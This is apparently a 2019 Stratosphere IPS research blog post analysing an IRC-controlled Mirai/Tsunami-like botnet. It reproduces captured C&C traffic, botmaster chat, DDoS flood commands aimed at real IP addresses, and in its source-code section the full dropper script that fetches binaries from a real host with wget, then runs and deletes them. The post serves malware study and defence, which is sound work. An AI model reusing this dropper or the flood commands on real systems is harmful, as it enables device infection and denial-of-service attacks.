Analysis of an IRC based Botnet

stratosphereips.org/blog/2019/4/12/analysis-of-a-irc-based-botnet

Stratosphere IPS April 18, 2019

This blog post was authored by María José Erquiaga (@MaryJo_E), on 2019-04-26

This blogpost aims to give a insight of an IRCBased botnet describing the network behavior and showing the analysis of the C&C. By analyzing this botnet network traffic it was possible to identify the botmasters using an IRC channel and observe not only the conversation between them but also the orders they give to the bot.

Botnet behavior

The infected device was a RaspberryPi (ARMv6) using Raspbian OS. The sample we executed was 49fd1cb22e0325c1f9038160da534fc23672e5509e903a94ce5bcddc893eb2c0, the capture Id is 34-1. According to VirusTotal, the possible name for that malware sample is Mirai.

After running the malware for the first time, the device contacts the IP **185.244.25.235** on port **80**/TCP and downloads a file called “misp” using GNU Wget agent. It repeats the same action by downloading other files. The name of the downloaded files are: mips, mipsel, sh4, x86, armv7l, armv6l, i686, powerpc, i586, m68k, sparc and armv4l.

Then, the bot establishes a connection with the IP **185.244.25.235** on port **6667** and joins an IRC channel called **Summit**. The communication with the remote server is the following:

```
IP 185.244.25.235.6667 > 192.168.1.195.48986:
irc.Summit.gov.GoV NOTICE AUTH :*** Looking up your hostname...
irc.Summit.gov.GoV NOTICE AUTH :*** Found your hostnameIP
192.168.1.195.48986 > 185.244.25.235.6667:
NICK [ARM4T|PCVREB]USER VHIDFQC localhost localhost :VHIDFQC
```

The remote server sends a **PING** and our devices replies with a **PONG.** Then, the infected device, receives its first order, given by the botmaster which nickname is *AmpAttacks*:

```
AmpAttacks :TCP Packeting 66.67.61.168!
```

The bot sends **SYN NS Packet** packets to **66.67.61.168** port **63798.** The NS flag, which stands for Nonce Sum, is still an experimental flag used to help protect against accidental malicious concealment of packets from the sender[1]. The services related to the port

63798 are for Apple: Xsan. Xsan Filesystem Access. This means that either the remote server was using that port for another service or that the botnet owners knew, or the attack aimed to an Apple device.

The domain registered to that IP is *rr.com*. The nmap scanning to that IP reveals that all ports are filtered, it also reveals that the host is up using the domain *cpe-66-67-61-168.rochester.res.rr.com*.

The bot then sends an IRC Packet to report the successful end of AmpAttack TCP Flood Against 66.67.61.168:

```
0000  78 8a 20 43 93 d5 b8 27  eb 58 91 d2 08 00 45 00   x· C···' ·X····E·
0010  00 6a fd 35 40 00 40 06  a7 0d c0 a8 01 c3 b9 f4   ·j·5@·@· ········
0020  19 eb bf 5a 1a 0b d1 b5  5d 44 6c a8 66 83 80 18   ···Z···· ]Dl·f···
0030  02 5d b7 ed 00 00 01 01  08 0a 68 e4 13 6b 04 d8   ·]····· ··h··k··
0040  e6 d3 20 41 6d 70 41 74  74 61 63 6b 73 2c 20 54   ·· AmpAt tacks, T
0050  43 50 20 46 6c 6f 6f 64  20 41 67 61 69 6e 73 74   CP Flood  Against
0060  20 36 36 2e 36 37 2e 36  31 2e 31 36 38 20 46 69    66.67.6 1.168 Fi
0070  6e 69 73 68 65 64 21 0a                           nished!·
```

IRC Packet reporting TCP Flood Against 66.67.61.168

Since our bot is on the IRC channel, it is possible to observe the conversation between the members of that channel. According to the IRC RFC [2], the format to send messages on an IRC channel is:

```
msgto =/ nickname / ( nickname "!" user "@" host )
```

Considering that format, it is possible to identify the nicknames and users in the channel, some of them are:
Spoof, Tragedy, Erradic and AmpAttacks.

In the conversation, the botmasters are talking about IRC. Some of the conversation is transcript here:

```
IP 185.244.25.235 > 192.168.1.195:irc.Summit.gov.GoV MODE ##Summit +q Spoof
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :crazy how i know rock shit about ircs
lmdao
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :fao*
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :crazy how i know rock shit about ircs
lmdao
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :fao*
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :It's literally just a chatting
program
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :But the IRC bot forces the device
to join the channel as another "client"
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :And they listen
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :!* makes them listen
Tragedy!Erradic@Summit.gov.GoV MODE ##Summit +v [x86_64|BWQLXKB]
Tragedy!Erradic@Summit.gov.GoV MODE ##Summit +v [MIPS|WGEQAV]
Tragedy!Erradic@Summit.gov.GoV MODE ##Summit +v [ARM4T|PCVREB]
AmpAttacks!AmpAttacks@Summit.gov.GoV PRIVMSG ##Summit :???
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :Giving them a voice so they can
reply
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :This is the part I need to fix
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :!* STD 1.1.1.1 1 1
```

Our bot replies:

```
##Summit :STD Packeting 1.1.1.1!
```

The bot sends two kind of packets to the IP **1.1.1.1**. Those are:

1. To the IP 1.1.1.1 on port 256/UDP: bad length 4096 > 1472

   ```
   SUMMIT.. %s, STD Flood Against %s Finished!....Incorrect Usage, %s :XMAS
   <Target> <Port> <Time> 32 1024 10
   ....Incorrect Usage, %s :RawUDP <Target> <Time>
   .... %s :RawUDP Packeting %s!
   .. %s, RawUDP Flood Against %s Finished!
   ```

2. To the IP 1.1.1.1: ip-proto-17

   ```
   ........../bin/sh.sh..-c.................................................
   (nil)...(null)..+.-. .0x.0X.....Unknown error ..Success.Operation not
   permitted.No such file or directory.No such process.Interrupted system
   call.Input/output error.No such device or address.Argument list too long.Exec
   format error.Bad file descriptor..
   ```

For the attack on port 256/UDP, there were 2159 packets observed and for the TCP attack 2202 packets were observed.

The attacked IP 1.1.1.1 is a DNS server [2]. Once the flood is finished, the bot reports to the master:

```
Tragedy, TCP Flood Against 1.1.1.1 Finished!
```

Then, the conversation between the botmasters:

```
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :I forgot to enable raw headers
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :They'll say "@Tragedy : TCP
Packeting 1.1.1.1"
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :Then when the flood is over they'll
say "@Tragedy, your TCP flood against 1.1.1.1 has ended"
AmpAttacks!AmpAttacks@Summit.gov.GoV PRIVMSG ##Summit :!* TCP 50.50.50.53 53 10 32
syn 0 10
```

Our Bot reports that its starting the attack:

```
AmpAttacks :TCP Packeting 50.50.50.53!
```

The bot sends SYN packetsto the IP **50.50.50.53** on port **53.** There is no information regarding this IP, **Registrant Name: REDACTED FOR PRIVACY.** Only the country information (US) and AS (5650, Frontier Communications of America, Inc.) was available. When the bot finished the flood, it reports it to the masters:

```
AmpAttacks, TCP Flood Against 50.50.50.53 Finished!
:irc.Summit.gov.GoV 421 [ARM4T|PCVREB] AmpAttacks, :Unknown command
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :eww yarn
AmpAttacks!AmpAttacks@Summit.gov.GoV PRIVMSG ##Summit :lol imagine saying ew to
servers
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :Googles and Amazons constantly
leave and join back
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :eww servers
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :i call huawei
AmpAttacks!AmpAttacks@Summit.gov.GoV PRIVMSG ##Summit :because I'm constantly
loading
AmpAttacks!AmpAttacks@Summit.gov.GoV PRIVMSG ##Summit :and dupes leave and rejoin
Attacks!AmpAttacks@Summit.gov.GoV PRIVMSG ##Summit :what I mean is
AmpAttacks!AmpAttacks@Summit.gov.GoV PRIVMSG ##Summit :the same bot
AmpAttacks!AmpAttacks@Summit.gov.GoV PRIVMSG ##Summit :trying to rejoin
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :You can right click on a bot and
get all its info with Whois
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :* [x86_64|ZBGMF] (PDCVY@Zombie-
190A588A.us-west-2.compute.amazonaws.com) has joined ##Summit
```

Then, more than 10 bots joins to the IRC channel, those are machines from Google and Amazon that are leaving and rejoining the channel, the bot masters talked about it:

```
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :<~AmpAttacks> and dupes leave and
rejoin
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :<~Tragedy> This doesn't allow dupes Lol
the Unreal config Max per IP is set to 1. It won't let a single dupe even grab the
socket
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :<~AmpAttacks> what I mean is
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :<~AmpAttacks> the same bot
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :<~AmpAttacks> trying to rejoin
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :<~Tragedy> You can right click on a bot
and get all its info with Whois
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :-
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :[MIPS|DINPVL] is GOVHTWTH@Zombie-
3E8CF5D5.rev.home.ne.jp * GOVHTWTH
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :[MIPS|DINPVL] is using modes +iwxG
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :[MIPS|DINPVL] is connecting from *@116-
220-1-247.rev.home.ne.jp 116.220.1.247
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :[MIPS|DINPVL] on ##Summit
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :[MIPS|DINPVL] using irc.Summit.gov.GoV
Summit.gov
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :[MIPS|DINPVL] has been idle 2hrs 54mins
32secs, signed on Fri Dec 21 21:57:55 2018
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :[MIPS|DINPVL] End of /WHO
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :.ACTION .8Hits you with a swift
Yeet.
Entity!Entity@Summit.gov.GoV PRIVMSG ##Summit :we're also testing the curl for
thinkphp rn
AmpAttacks!AmpAttacks@Summit.gov.GoV PRIVMSG ##Summit :*die*
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :.ACTION .4Slaps everyone with a
large trout in a single swing..
```

Regarding our bot name: **[ARM4T|PCVREB]** and the names of the bots that have joined the channel, we can assume that the names of the bots have the architecture on it, for instance **[MIPS|DINPVL]**, or **[x86_64|ZBGMF].** The botmasters talked about this here:

```
:Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :Ayyy some Mips
PING :irc.Summit.gov.GoV
PONG :irc.Summit.gov.GoV
:AmpAttacks!AmpAttacks@Summit.gov.GoV PRIVMSG ##Summit :Realtek
:Entity!Entity@Summit.gov.GoV PRIVMSG ##Summit :yup
:AmpAttacks!AmpAttacks@Summit.gov.GoV PRIVMSG ##Summit :extremely stable
:Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :.ACTION .8Hits you with a swift Yeet.
:Entity!Entity@Summit.gov.GoV PRIVMSG ##Summit :we're also testing the curl for thinkphp rn
:AmpAttacks!AmpAttacks@Summit.gov.GoV PRIVMSG ##Summit :*die*
:Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :.ACTION .4Slaps everyone with a large trout in a single swing..
:Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :defines .4Impossible - If nothing is impossible, is it possible for something to be impossible?
Or just improbable?
:Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :.ACTION defines .4"Death" -noun, To stop sinning suddenly..
:AmpAttacks!AmpAttacks@Summit.gov.GoV PRIVMSG ##Summit :how do I delete someone
:Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :.ACTION says .4Here's the number to my Therapist (605 475 6959).
:Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :.ACTION says .4Get Nulled.
:Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :Lmao
:Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :Unfriended
PING :irc.Summit.gov.GoV
```

Conversation between the botmasters

The conversation between the botmasters continues and the bot receives more orders, botmasters that were not on the previous chat write on the channel:

```
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :Theres no help cmd
shadoh!shadoh@Summit.gov.GoV MODE ##Summit +v [x86_64|ITVX]
shadoh!shadoh@Summit.gov.GoV PRIVMSG ##Summit :rip
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :I didn't set the raw headers mode
yet
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :Was making sure floods worked
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :And they do (:
....
shadoh!shadoh@Summit.gov.GoV PRIVMSG ##Summit :!* XMAS 123.59.209.185 80 30 32 1024
10
```

The order from the botmaster specifies to perform a ***XMAS attack*** to the IP address **123.59.2019.185** on port **80**. This is a DoS attack that sends packets to an IP and it changes the TCP headers to become harder to process for the target.

The bot sends packets to the IP **123.59.209.185** on port **80**. The IP is registered in China, and the network name is *CloudVsp*. At the moment, the IP is not active. The packets header sent by the bot looks like this:

```
IP 192.168.1.195.65279 > 123.59.209.185.80: Flags [SP.U], seq 4278190079:4278191103,
ack 0, win 65279, urg 0, length 1024: HTTP
```

It is possible to observe that the TCP flag set in this case is **SP.U,** it means that Syn, Push and Urgent are set at the same time. While the bot is attacking, it also receives more orders from the same botmaster:

```
shadoh!shadoh@Summit.gov.GoV PRIVMSG ##Summit :!* XMAS 123.59.209.185 80 30 32 1024
10
```

The botmaster sends the same message 9 times in total, mean while, the conversation between the attackers continues:

```
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :yooo
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :We reppin Guandong over here
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :[IPLookup] Getting Info For ->
119.146.203.154...
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :There we go lmao
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :For the clout
Tragedy!Erradic@Summit.gov.GoV PRIVMSG ##Summit :<3
Tragedy!Erradic@Summit.gov.GoV QUIT :Client has disconnected from Summit.gov
```

Then, our bot receives another order:

```
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :!* STD 74.91.117.248 21 25
```

The bot replies to inform that it will be performing the received order:

```
##Summit :STD Packeting 74.91.117.248!
```

The domain of that IP is craftdiggers.g.nfoservers.com [4]. While doing the flood, the bot sends 2 kind of packets:

1. IP address 74.91.117.248, port 5376/UDP, bad length 4096 > 1472
2. IP address 74.91.117.248: ip-proto-17

Afterwards, the bot receives more orders to perform a DoS attack on port 80:

```
Spoof!Spoof@Summit.gov.GoV PRIVMSG ##Summit :!* TCP 71.61.66.148 80 22 32 syn 0 10
```

Our bot informs that the attack will be performed:

```
Spoof :TCP Packeting 71.61.66.148!
```

Then, the bot informs that the attack is finished;

```
Spoof, TCP Flood Against 71.61.66.148 Finished!
```

In this case, the domain name registered for the IP **71.61.66.148** is *comcast.net*.

After that, the bot tries to join the channel again several times, but it fails, the sequence is the following:

1. The bot sends Syn packets to the remote server 185.244.25.235 on port 6667
2. The remote server replies with a TCP packet (P. flag):
    1. irc.Summit.gov.GoV NOTICE AUTH :*** Looking up your hostname…
    2. irc.Summit.gov.GoV NOTICE AUTH :*** Found your hostname
3. The bot replies:
    1. NICK [ARM4T|PCVREB]
    2. USER VHIDFQC localhost localhost :VHIDFQC
4. The remote server replies:
   :irc.Summit.gov.GoV 433 * **[ARM4T|PCVREB] :Nickname is already in use.**

After trying several times, one of the connections succeed :

```
[ARM4T|PCVREB]!VHIDFQC@Zombie-6024A57C.felk.cvut.cz JOIN :##Summit
```

However, there seems to be a connection error, there is ping timeout: 32 seconds. Then, the remote server sends a F packet and the connection is over. This process is repeated several times.

The bot tries to contact the remote server on port 6667 several times. It is using different user name, first using the nickname **HVLLTLBT,** then using **PCVREB.** This could be possible because several scripts were downloaded and executed at the same time to guaranteed the botnet operation.

Analysis for the extracted files

The downloaded files by the malware were extracted and analyzed on VirusTotal, most of the files were uploaded by us for the first time. The possible name for those samples is “Tsunami”. However, the possible name for the executed sample was “Mirai”. The executed sample downloads scripts that were developed for different architectures. This technique ensures that the botnet will run in most of the IoT devices because it downloads several binaries and run them until one of them will work.

List of the SHA256 hashes for the downloaded files by the malware:

- 31784de70d7b55b2ee48a9ae359f7c67c82fb9a814279e0944a9dee01ed3f756
- fd43c0abfaa6e6203e24bdb015613801f4a23894aba9586b0bdf1e70736883e5
- 284bde3fc80d81eb2cf644770df64c59cc444f283bd4ab96f64431fef735879a
- 32776a1a3eb8914855b57972c94750e0bb1dedd3ed161fdb53098cdfcee74ce3
- 976e948ccec98ffd36115d0240c2a438dccd4e15d220284e6356e3fcb0f2548c
- f031d926d80805795c20d1a7b280759d1393e736a85f7fd2e02d2088f2fb0221
- 3efdd1461af3cf4039bd7a3ababcf71c5df08a1c232a36287d9ae1f0bd7509cc
- 34fa4705a10ca0d940762f5f594bbf93fe79f1df2bf4a1fb69fe9b00ff79b2fe
- 3549fca31abf602a78f645d3406ad075e02c7ea9a6aa9cec243ba6cb58b5e39f
- 62997b5ecc8bb785f16803cdd04d2b4209476e457d9a46cbb1f7fae0a6a8108d

Analysis of the Source Code of the Malware

The malwares code is a bash script that downloads several scripts, change their mode to +x, to execute, then execute the script and delete them. The files names are different and most of them have the architecture name (misp, x86, armv7, etc).

```
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget_
http://185.244.25.235/mips; chmod +x mips; ./mips; rm -rf mips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget_
http://185.244.25.235/mipsel; chmod +x mipsel; ./mipsel; rm -rf mipsel
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget_
http://185.244.25.235/sh4; chmod +x sh4; ./sh4; rm -rf sh4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget_
http://185.244.25.235/x86; chmod +x x86; ./x86; rm -rf x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget_
http://185.244.25.235/armv7l; chmod +x armv7l; ./armv7l; rm -rf armv7l
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget_
http://185.244.25.235/armv6l; chmod +x armv6l; ./armv6l; rm -rf armv6l
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget_
http://185.244.25.235/i686; chmod +x i686; ./i686; rm -rf i686
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget_
http://185.244.25.235/powerpc; chmod +x powerpc; ./powerpc; rm -rf powerpc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget_
http://185.244.25.235/i586; chmod +x i586; ./i586; rm -rf i586
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget_
http://185.244.25.235/m68k; chmod +x m68k; ./m68k; rm -rf m68k
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget_
http://185.244.25.235/sparc; chmod +x sparc; ./sparc; rm -rf sparc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget_
http://185.244.25.235/armv4l; chmod +x armv4l; ./armv4l; rm -rf armv4l
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget_
http://185.244.25.235/armv5l; chmod +x armv5l; ./armv5l; rm -rf armv5l
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget_
http://185.244.25.235/440fp; chmod +x 440fp; ./440fp; rm -rf 440fp
```

Conclusion

The binary file we used to infect the RPi was a bash script which possible name according to Virus Total is Mirai. It downloads files, execute them and then erase them. In order to do that it contacts the server on port 80 and downloads the files using GNU Wget agent.

Once the files were executed, the bot contacts a remote server on port 6667 and joins an IRC channel. The nick name it uses to joined the channel is: **[ARM4T|HVLLTLBT].** It has the architecture of the device on it and a some letters. Other bots joins the channel and have the same format name.

Once our bot is in the channel, it receive orders to perform **TCP flood attacks** to different IPs.

This malware could be a variant of a Mirai botnet, because Mirai performs DDoS attacks. However, our bot doesn't seems to scan for other devices on port 22 or 23. It just perform tcp flood to different IPs. Moreover, the samples downloaded by the malware were extracted and analyzed on VirusTotal, and the possible name for those samples is Tsunami.

References

[1] https://tools.ietf.org/html/rfc3540

[2] Internet Relay Chat: Client Protocol. https://tools.ietf.org/html/rfc2812#page-4

[3] https://1.1.1.1

[4] IP: **74.91.117.248**
Domain Name: NFOSERVERS.COM
Registry Domain ID: 109323766_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Updated Date: 2016-12-30T19:59:34Z
Creation Date: 2004-01-04T20:57:15Z
Registrar Registration Expiration Date: 2026-01-04T20:57:15Z
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
NetRange: 74.91.117.0 - 74.91.117.255
CIDR: 74.91.117.0/24
NetName: NFOSERVERS-SEA-1
NetHandle: NET-74-91-117-0-1
Parent: NFOSERVERS-1 (NET-74-91-112-0-1)
NetType: Reassigned
OriginAS: AS32751
Customer: Nuclearfallout Enterprises, Inc. (C02882606)

Acknowledge

This research was done as part of our ongoing collaboration with **Avast Software** in the **Aposemat project**. The Aposemat project is funded by Avast Software.

Thanks to Veronica Valeros for her help in the analysis and writing corrections.